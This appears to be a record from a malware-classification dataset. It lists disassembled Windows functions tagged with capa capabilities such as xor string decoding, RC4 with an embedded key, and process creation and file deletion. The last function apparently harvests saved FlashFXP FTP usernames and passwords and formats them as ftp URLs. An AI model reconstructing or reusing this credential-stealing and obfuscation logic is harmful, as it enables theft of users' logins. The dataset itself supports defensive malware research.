joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415ed0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x428
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
nop
nop
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x415ef0
sar esi, 1
lea ecx, [esp + 0x7c]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x44d2fc]
mov dword [esp + 0xe8], 0x195a5b61
mov dword [esp + 0xec], 0
mov ecx, 0x8f
mov edi, 0x70
movzx edx, byte [esp + ecx + 0x59]
mov ebx, ecx
xor ebx, edi
and ebx, edx
xor ebx, edi
mov dl, 0x34
sub dl, bl
mov byte [esp + ecx + 0x59], dl
inc ecx
dec edi
cmp ecx, 0x97
jne 0x415f30
xor ecx, ecx
cmp eax, dword [esp + 0xe8]
setne cl
jmp dword [ecx*4 + 0x446b6c]
Function at 0x4243d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x21f0
call fcn.0040a290
push eax
sub esp, 0x10
mov ebx, esp
sub esp, 0x28
mov dword [ebp - 0x5c], esp
mov dword [ebp - 0x1dfc], 0x116c1f70
mov dword [ebp - 0x1df8], 0x156b1357
mov dword [ebp - 0x1df4], 0x963176f
mov dword [ebp - 0x1df0], 0xd780b7c
mov dword [ebp - 0x1dec], 0x1620f67
mov dword [ebp - 0x1de8], 0x5770377
mov dword [ebp - 0x1de4], 0x39740743
mov word [ebp - 0x1de0], 0x3b38
mov dword [ebp - 0x1dde], 0
mov word [ebp - 0x1dda], 0
mov eax, 0xe8279d85
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp + eax + 0x17d8447f]
xor ecx, eax
mov esi, ecx
xor esi, 0x88c61399
mov edx, ecx
or edx, 0x60218c66
and edx, esi
mov edi, ecx
and edi, 2
mov esi, edx
or edx, 2
imul edx, edi
xor edi, 2
and esi, 0xfd
imul esi, edi
xor ecx, 0x66
add ecx, esi
add ecx, edx
inc cl
mov byte [ebp + eax + 0x17d8447f], cl
inc eax
cmp eax, 0xe8279da9
jne 0x424460
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x1dfc]
push 0
push 0
push 0x20019
push eax
mov dword [ebp - 0x10], ecx
push ecx
call fcn.00441050
add esp, 0x14
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x447924]
Function at 0x43bf90
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx]
test eax, eax
je 0x43c06b
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp], 0x4c4d4a4b
mov word [esp + 4], 0
mov byte [esp + 6], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx]
lea edi, [edx + 0x27e6f8f2]
mov ebp, 0xd
sub ebp, edx
mov ebx, ebp
or ebx, esi
and ebp, 0xd
and edi, 2
or edi, ebp
xor edi, 2
lea ebp, [edx*2 + 0x4fcdf1e4]
neg ebp
add ebp, edx
add ebp, 0xf1
or ebp, edi
and ebp, esi
not ebx
or ebx, ebp
add bl, 0x46
mov byte [esp + edx], bl
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
cmp edx, 7
jb 0x43bfc0
mov edx, dword [0x44d300]
test edx, edx
je 0x43c05e
mov esi, dword [esp]
xor edi, edi
mov ebx, dword [0x44d304]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x1b6183f2
je 0x43c040
inc edi
cmp edx, edi
jne 0x43c030
jmp 0x43c05e
mov edx, dword [ebx + edi*8 + 4]
cmp edx, esi
je 0x43c05e
push eax
push 4
push edx
push dword [0x44d308]
mov esi, ecx
call fcn.0043e370
mov ecx, esi
add esp, 0x10
mov dword [ecx], 0
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x43c070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
cmp dword [ecx + 8], 0
je 0x43c130
mov eax, dword [ecx]
test eax, eax
je 0x43c130
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x4c4d4a4b
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + eax + 4]
lea esi, [eax + 0x27e6f8f2]
mov ebx, 0xd
sub ebx, eax
mov edx, ebx
or edx, edi
and ebx, 0xd
and esi, 2
or esi, ebx
xor esi, 2
lea ebx, [eax*2 + 0x4fcdf1e4]
neg ebx
add ebx, eax
add ebx, 0xf1
or ebx, esi
and ebx, edi
not edx
or edx, ebx
add dl, 0x46
mov byte [esp + eax + 4], dl
mov edx, eax
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
cmp eax, 7
jb 0x43c0b0
mov eax, dword [esp + 4]
mov esi, dword [0x44d300]
test esi, esi
je 0x43c1ae
xor edi, edi
mov ebx, dword [0x44d304]
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0xaf0e0c2e
je 0x43c18a
inc edi
cmp esi, edi
jne 0x43c120
jmp 0x43c1ae
mov dword [esp + 4], 0xf9babbbc
mov dword [esp + 8], 0
mov eax, 0xd21727df
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x2de8d825]
xor ecx, eax
mov edx, 1
sub edx, ecx
add ecx, 0xae
and edx, 9
and ecx, 0xf6
sub ecx, edx
mov byte [esp + eax + 0x2de8d825], cl
inc eax
cmp eax, 0xd21727e7
jne 0x43c150
mov eax, dword [esp + 4]
jmp 0x43c2c5
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x43c1ae
push dword [ebp + 8]
push dword [esp + 0x10]
push 8
push esi
push dword [0x44d308]
mov esi, ecx
call fcn.0043e370
mov ecx, esi
add esp, 0x14
mov edi, dword [ebp + 0xc]
cmp edi, 1
mov esi, dword [ebp + 0x10]
mov edx, esi
sbb edx, 0
jl 0x43c2b8
cmp eax, 0xc000010a
jne 0x43c2b8
mov edx, 0xffffd8f0
mov eax, edi
mul edx
sub edx, edi
imul esi, esi, 0xffffd8f0
add esi, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], esi
mov eax, dword [ecx]
mov dword [esp + 0xc], eax
mov dword [esp + 4], 0x4c4d4a4b
mov word [esp + 8], 0
mov byte [esp + 0xa], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 4]
lea edi, [eax + 0x27e6f8f2]
mov ebx, 0xd
sub ebx, eax
mov edx, ebx
or edx, esi
and ebx, 0xd
and edi, 2
or edi, ebx
xor edi, 2
lea ebx, [eax*2 + 0x4fcdf1e4]
neg ebx
add ebx, eax
add ebx, 0xf1
or ebx, edi
and ebx, esi
not edx
or edx, ebx
add dl, 0x46
mov byte [esp + eax + 4], dl
mov edx, eax
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
cmp eax, 7
jb 0x43c210
mov eax, dword [esp + 4]
mov esi, dword [0x44d300]
test esi, esi
je 0x43c2b8
xor edi, edi
mov ebx, dword [0x44d304]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edi*8], 0x4c697c35
je 0x43c290
inc edi
cmp esi, edi
jne 0x43c280
jmp 0x43c2b8
mov esi, dword [ebx + edi*8 + 4]
cmp esi, eax
je 0x43c2b8
lea eax, [esp + 0x10]
push eax
push 0
push dword [esp + 0x14]
push 0xc
push esi
push dword [0x44d308]
mov esi, ecx
call fcn.0043e370
mov ecx, esi
add esp, 0x18
test eax, eax
js 0x43c2c5
mov esi, eax
call fcn.0043bf90
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x43fed0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x30
mov ebx, dword [esp + 0x44]
movzx eax, word [ebx]
mov dword [esp], 0x4342fb0d
mov dword [esp + 4], 0
mov ecx, 0xae5392f0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x51ac6d10]
xor esi, ecx
lea edx, [esi*2 + 0x30bc429e]
add esi, 0x985e214f
and edx, 2
mov edi, edx
and edi, esi
or edx, esi
xor edx, 1
add edx, edi
mov byte [esp + ecx + 0x51ac6d10], dl
inc ecx
cmp ecx, 0xae5392f8
jne 0x43ff00
mov ecx, dword [esp]
xor edx, edx
cmp ecx, eax
setne dl
xor eax, eax
jmp dword [edx*4 + 0x44aaa4]

Function at 0x440810
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov ebp, dword [esp + 0x50]
mov esi, dword [esp + 0x3c]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + ecx], 0
lea ecx, [ecx + 2]
jne 0x440830
lea edx, [esi + ecx]
add edx, 0xfffffffe
mov eax, esi
not eax
and eax, edx
add ecx, esi
mov edx, 1
sub edx, ecx
and edx, esi
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xfffffffb
jge 0x440863
mov eax, 0xffffffff
jmp 0x440866
add eax, 0xa
push eax
call fcn.0040a3b0
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
lea ecx, [edi + 4]
mov word [eax + 8], 0
mov edx, eax
add edx, 8
movzx ebx, word [esi]
test bx, bx
je 0x4408b1
add esi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], bx
add edx, 2
movzx ebx, word [esi]
add esi, 2
test bx, bx
jne 0x4408a0
mov word [edx], 0
mov edx, 3
sub edx, edi
and edx, 2
mov esi, ecx
and esi, 0xfffd
imul esi, edx
and edi, 2
or ecx, 2
imul ecx, edi
lea edx, [ecx + esi]
mov word [esp + 8], dx
add ecx, esi
add ecx, 2
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x4c4d4a4b
mov word [esp + 4], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x92
xor dl, byte [esp + ecx]
add dl, 0x26
mov byte [esp + ecx], dl
inc ecx
cmp ecx, 6
jne 0x440930
mov esi, dword [esp]
mov ecx, dword [0x44d300]
test ecx, ecx
je 0x4409b2
xor edx, edx
mov edi, dword [0x44d304]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0xf6e92f34
je 0x440970
inc edx
cmp ecx, edx
jne 0x440960
jmp 0x4409b2
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, esi
je 0x4409b2
mov esi, esp
lea edx, [esp + 0x10]
push 0
push 0
push ebp
push dword [esp + 0x58]
push dword [esp + 0x58]
push dword [esp + 0x68]
push 0
push esi
push edx
push dword [esp + 0x68]
push dword [esp + 0x68]
push 0x2c
push ecx
push dword [0x44d308]
mov edi, eax
call fcn.0043e370
add esp, 0x38
mov esi, eax
mov eax, edi
push eax
call fcn.0040a3c0
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x440b70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + ecx], 0
lea ecx, [ecx + 2]
jne 0x440b90
lea edx, [esi + ecx]
add edx, 0xfffffffe
mov eax, esi
not eax
and eax, edx
add ecx, esi
mov edx, 1
sub edx, ecx
and edx, esi
sub eax, edx
mov ebx, eax
sar ebx, 1
cmp ebx, 0xfffffffb
jge 0x440bc3
mov eax, 0xffffffff
jmp 0x440bc6
add eax, 0xa
push eax
call fcn.0040a3b0
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x440c11
add esi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x440c00
mov word [ecx], 0
lea ecx, [ebx*2 + 8]
mov word [esp], cx
lea ecx, [ebx*2 + 0xa]
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x4c4d4a4b
mov word [esp + 0x24], 0
xor ecx, ecx
mov edx, ecx
add dl, 0x92
xor dl, byte [esp + ecx + 0x20]
add dl, 0x26
mov byte [esp + ecx + 0x20], dl
inc ecx
cmp ecx, 6
jne 0x440c70
mov esi, dword [esp + 0x20]
mov ecx, dword [0x44d300]
test ecx, ecx
je 0x440cd9
xor edx, edx
mov ebx, dword [0x44d304]
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x1ce638e1
je 0x440cb0
inc edx
cmp ecx, edx
jne 0x440ca0
jmp 0x440cd9
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x440cd9
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 8
push ecx
push dword [0x44d308]
mov ebx, eax
call fcn.0043e370
add esp, 0x14
mov esi, eax
mov eax, ebx
push eax
call fcn.0040a3c0
add esp, 4
test edi, edi
je 0x440cec
mov eax, dword [esp + 0x40]
mov dword [edi], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x440d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x4c4d4a4b
mov word [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x92
xor cl, byte [esp + eax]
add cl, 0x26
mov byte [esp + eax], cl
inc eax
cmp eax, 6
jne 0x440d30
mov eax, dword [esp]
mov edx, dword [0x44d300]
test edx, edx
je 0x440d98
xor ebx, ebx
mov ecx, dword [0x44d304]
nop
nop
nop
nop
nop
nop
nop
cmp dword [ecx + ebx*8], 0x9c142cda
je 0x440d70
inc ebx
cmp edx, ebx
jne 0x440d60
jmp 0x440d98
mov edx, dword [ecx + ebx*8 + 4]
cmp edx, eax
je 0x440d98
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 0x14
push edx
push dword [0x44d308]
call fcn.0043e370
add esp, 0x20
test edi, edi
je 0x440da2
mov ecx, dword [esp + 8]
mov dword [edi], ecx
test esi, esi
je 0x440dae
cmp byte [esp + 0x15], 0
setne byte [esi]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x440f10
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov esi, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
mov dword [esp], 0x4c4d4a4b
mov word [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebx, eax
add bl, 0x92
xor bl, byte [esp + eax]
add bl, 0x26
mov byte [esp + eax], bl
inc eax
cmp eax, 6
jne 0x440f40
mov eax, dword [esp]
mov ebx, dword [0x44d300]
test ebx, ebx
je 0x440fae
xor ebp, ebp
mov edi, dword [0x44d304]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + ebp*8], 0xa2545bf7
je 0x440f80
inc ebp
cmp ebx, ebp
jne 0x440f70
jmp 0x440fae
mov ebx, dword [edi + ebp*8 + 4]
cmp ebx, eax
je 0x440fae
lea eax, [esp + 8]
push 0
push 0
push edx
push ecx
push eax
push 0
push 0
push 0
push dword [esp + 0x44]
push 0x24
push ebx
push dword [0x44d308]
call fcn.0043e370
add esp, 0x30
cmp eax, 0x103
jne 0x441039
mov dword [esp], 0x4c4d4a4b
mov word [esp + 4], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x92
xor cl, byte [esp + eax]
add cl, 0x26
mov byte [esp + eax], cl
inc eax
cmp eax, 6
jne 0x440fd0
mov eax, dword [esp]
mov ecx, dword [0x44d300]
test ecx, ecx
je 0x441031
xor edx, edx
mov edi, dword [0x44d304]
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + edx*8], 0x4c697c35
je 0x441010
inc edx
cmp ecx, edx
jne 0x441000
jmp 0x441031
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x441031
push 0
push 0
push dword [esp + 0x2c]
push 0xc
push ecx
push dword [0x44d308]
call fcn.0043e370
add esp, 0x18
test eax, eax
js 0x441039
mov eax, dword [esp + 8]
test esi, esi
je 0x441043
mov ecx, dword [esp + 0xc]
mov dword [esi], ecx
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x40253c
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2064
call fcn.0040d5b0
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
xor esi, esi
cmp dword [0x4114e4], esi
push edi
mov dword [ebp - 4], esi
jne 0x402572
jmp 0x402568
push 0x2710
call ebx
call fcn.00406d14
cmp eax, 1
jne 0x402561
cmp dword [ebp + 0x1c], esi
je 0x402584
push 4
push esi
push 7
call fcn.0040a786
add esp, 0xc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
xor edi, edi
cmp dword [ebp + 0x18], esi
jle 0x4025ba
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407036
add esp, 0x10
test eax, eax
jne 0x4025c1
push 0xea60
inc edi
call ebx
cmp edi, dword [ebp + 0x18]
jl 0x402594
xor eax, eax
jmp 0x402660
cmp dword [ebp + 0x1c], esi
je 0x4025d3
push 4
push esi
push 8
call fcn.0040a786
add esp, 0xc
push 0x44
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.0040d530
lea eax, [ebp - 0x2060]
add esp, 0xc
push eax
mov edx, 0x40e30c
call fcn.00405511
pop ecx
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2060]
call fcn.004054ed
mov ecx, 0x40e310
call fcn.004054ed
cmp dword [ebp + 0x14], esi
je 0x402630
mov edx, dword [ebp + 0x14]
mov eax, str.none
call fcn.00405467
test eax, eax
je 0x402630
mov ecx, dword [ebp + 0x14]
lea eax, [ebp - 0x2060]
call fcn.004054ed
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x60]
push eax
push 0x420840
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2060]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
jne 0x40265d
or dword [ebp - 4], 8
jmp 0x402660
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x20]
cmp ecx, esi
je 0x40266c
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov ecx, dword [ebp + 0x24]
cmp ecx, esi
je 0x402675
mov dword [ecx], esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4033d9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ecx]
sub esp, 0x140
push ebx
push esi
xor esi, esi
test ax, ax
push edi
mov edx, ecx
je 0x403404
movzx eax, ax
cmp ax, 3
je 0x40340c
inc edx
inc edx
movzx eax, word [edx]
test ax, ax
jne 0x4033f4
cmp word [edx], 3
je 0x40340c
xor edx, edx
test edx, edx
je 0x40341c
call fcn.0040c364
mov dword [ebp - 4], eax
mov ebx, ecx
jmp 0x403434
lea ebx, [ebp - 0x40]
mov eax, ebx
push eax
mov edx, str.yA36zA48dEhfrvghGRg57h5UlDv3
mov dword [ebp - 4], 0x1c
call fcn.00405511
pop ecx
mov ecx, dword [ebp + 8]
call fcn.0040c364
cdq
sub eax, edx
mov edi, eax
sar edi, 1
cmp edi, 0xff
jge 0x4034a1
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x140]
call fcn.0040c233
test al, al
je 0x4034a1
dec edi
xor ecx, ecx
xor esi, esi
test edi, edi
jle 0x403497
cmp esi, dword [ebp - 4]
jne 0x40346d
xor esi, esi
mov al, byte [ebx + esi*2]
xor al, byte [ebp + ecx - 0x13f]
mov dl, byte [ebp + ecx - 0x140]
cmp al, dl
jae 0x403484
dec al
sub al, dl
mov edx, dword [ebp + 8]
movzx ax, al
mov word [edx + ecx*2], ax
inc ecx
inc esi
cmp ecx, edi
jl 0x403466
mov eax, dword [ebp + 8]
and word [eax + ecx*2], 0
mov esi, ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403740
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x484
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0040be9d
lea eax, [ebp - 0x70]
push eax
mov edx, str.SOFTWAREFlashFXP3
call fcn.00405511
pop ecx
lea eax, [ebp - 0x30]
push eax
mov edx, str.datafolder
call fcn.00405511
pop ecx
mov esi, 0x104
push esi
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x70]
push eax
lea edi, [ebp - 0x278]
mov eax, reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040848f
add esp, 0xc
cmp eax, 0xffffffff
je 0x4037c5
cmp eax, ebx
jbe 0x4037c5
push esi
lea eax, [ebp - 0x480]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x480]
push eax
call fcn.004034a8
pop ecx
pop ecx
cmp dword [ebp - 4], ebx
jne 0x40383a
lea eax, [ebp - 0x48]
push eax
mov edx, str.flashfxp
call fcn.00405511
lea eax, [ebp - 0x48]
pop ecx
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x26
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x278]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x403831
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x40350f
push 2
push 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x278]
push eax
call fcn.00408248
add esp, 0x24
inc esi
cmp esi, 3
jb 0x4037f6
cmp dword [ebp - 4], ebx
jbe 0x403846
mov esi, dword [ebp - 8]
call fcn.004033a0
jmp 0x40384f
push dword [ebp - 8]
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403854
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [ecx]
imul eax, eax, 0x8088405
push 0x20
push 0
push dword [esp + 0xc]
inc eax
push 0
push eax
mov dword [ecx], eax
call fcn.004085d0
push edx
push eax
call fcn.004085a1
ret
Function at 0x4039ea
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push 0x20002
push 8
push dword [0x423ea0]
call edi
mov ebx, eax
xor eax, eax
cmp ebx, eax
mov dword [ebp - 0x14], ebx
je 0x403bba
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringW]
push 0xffff
push ebx
push eax
push eax
push eax
call esi
test eax, eax
jbe 0x403bb3
lea ecx, [eax + 1]
mov eax, ebx
call fcn.0040c475
test al, al
je 0x403bb3
push 0xc0c
push 8
push dword [0x423ea0]
call edi
mov edi, eax
test edi, edi
mov dword [ebp - 0x10], edi
je 0x403bb3
lea eax, [edi + 0x3fc]
mov dword [ebp - 8], eax
add eax, 0x1fe
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x74]
push eax
mov edx, str.connections
mov dword [ebp - 4], ebx
call fcn.00405511
pop ecx
lea eax, [ebp - 0x34]
push eax
mov edx, str.default
call fcn.00405511
pop ecx
lea eax, [ebp - 0x24]
push eax
mov edx, 0x40e7cc
call fcn.00405511
pop ecx
lea eax, [ebp - 0x48]
push eax
mov edx, str.username
call fcn.00405511
pop ecx
lea eax, [ebp - 0x5c]
push eax
mov edx, str.password
call fcn.00405511
pop ecx
mov ebx, 0xff
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b93
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403b93
push dword [ebp + 8]
push ebx
push edi
push eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b93
push dword [ebp + 8]
lea eax, [edi + 0x1fe]
push ebx
push eax
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b93
push dword [ebp + 8]
lea eax, [ebp - 0x5c]
push ebx
push dword [ebp - 8]
push 0
push eax
push dword [ebp - 4]
call esi
test eax, eax
jbe 0x403b93
push dword [ebp - 8]
call fcn.00403877
test eax, eax
pop ecx
jle 0x403b93
lea eax, [ebp - 0x94]
push eax
mov edx, str.ftp:___s:_s__s_n
call fcn.00405511
pop ecx
push edi
push dword [ebp - 8]
mov edi, dword [ebp - 0xc]
push dword [ebp - 0x18]
lea eax, [ebp - 0x94]
push eax
mov edx, 0x307
call fcn.0040c3f9
add esp, 0x10
test eax, eax
jle 0x403b90
push edi
mov edi, dword [ebp + 0xc]
mov ecx, edi
call fcn.0040c00b
test al, al
pop ecx
je 0x403b90
inc dword [edi + 4]
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
push 1
call fcn.0040c495
test eax, eax
pop ecx
mov dword [ebp - 4], eax
jne 0x403ac8
push edi
call fcn.0040be3a
mov ebx, dword [ebp - 0x14]
pop ecx
push ebx
call fcn.0040be3a
pop ecx
pop edi
pop esi
pop ebx
leave
ret